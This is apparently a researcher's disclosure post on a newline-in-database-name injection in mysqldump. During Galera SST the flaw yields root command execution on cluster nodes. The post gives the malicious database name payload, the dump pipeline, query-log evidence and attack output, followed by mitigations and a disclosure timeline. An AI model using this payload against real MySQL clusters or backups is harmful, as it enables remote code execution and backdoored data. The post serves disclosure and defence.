mysqldump is a common utility used to create logical backups of MySQL databases and one of the SST methods used by Galera to bring out-of-sync nodes back into the cluster. Using an evil database name, an attacker can gain remote command execution on all nodes in the cluster or backdoor MySQL backups in a similar attack to my previous post. Of course, this method requires the CREATE DATABASE privilege instead of CREATE TABLE.

Example Attack

First, the attacker creates a malicious database using the query below:

\! id
select user(),@@version; -- -`

It is important that the database name before the new line matches a database that actually exists.

Now that the evil database is in place, we wait until an SST transfer occurs. This will execute the wsrep_sst_mysqldump script which executes the following (simplified, the relevant options are set on lines 80-84 and 106-108, and executed at line 133-136:

$ mysqldump --add-drop-database --add-drop-table --skip-add-locks --create-options \
--disable-keys --extended-insert --skip-lock-tables --quick --set-charset \
--skip-comments --flush-privileges --all-databases | mysql -h $DONORHOST -u $DONORUSER -p$DONORPASS 

With our evil database in place, the parsing error occurs when the script attempts after the use statement:

USE `test
\! id
select user(),@@version; -- -`;

Now normally, this would not be a problem because everything between the backticks should be counted as the database name. In fact, that's how we created this database was created in the first place! It seems that in the case of use statements, MySQL will terminate the query after the new line, allowing us to execute our payload. We can confirm this by executing this query alone with the general query log enabled, giving us the following entries:

161012 18:44:26	   41 Connect	root@localhost on
		   41 Query	select @@version_comment limit 1
		   41 Query	SELECT DATABASE()
		   41 Init DB	test <-- uh oh! it thinks we said use `test`
		   41 Query	select user(),@@version <-- injected query
		   41 Quit

Attack output

uid=0(root) gid=0(root) groups=0(root) <-- shell command executed
user()	@@version
root@localhost	5.6.33 <-- evil query executed


  • Revoke create database privileges wherever possible, as is best practice
  • Do not use mysqldump as your SST method, xtrabackup-v2 is the reccomended method
  • Audit your databases for tables containing new lines. You can do this with a simple one-liner: find /var/lib/mysql -type d -name "*@000a*"

Affected Versions

Package Affected Versions Last Updated
MySQLAll Versions Oct 17, 2016
MariaDB<= 5.5.52 and < 10.1 March 9th, 2017
PerconaAll VersionsOct 17, 2016

Disclosure Notes

  • October 6th, 2016: Discovered / Reported to MariaDB and Oracle
  • October 7th, 2016: Sent more details and working PoC
  • October 13th, 2016: Received confirmation that the bug will be patched in MariaDB-5.5.53
  • October 18th, 2016: Received CVE ID
  • March 9th, 2017: 90 days exceeded since report, public disclosure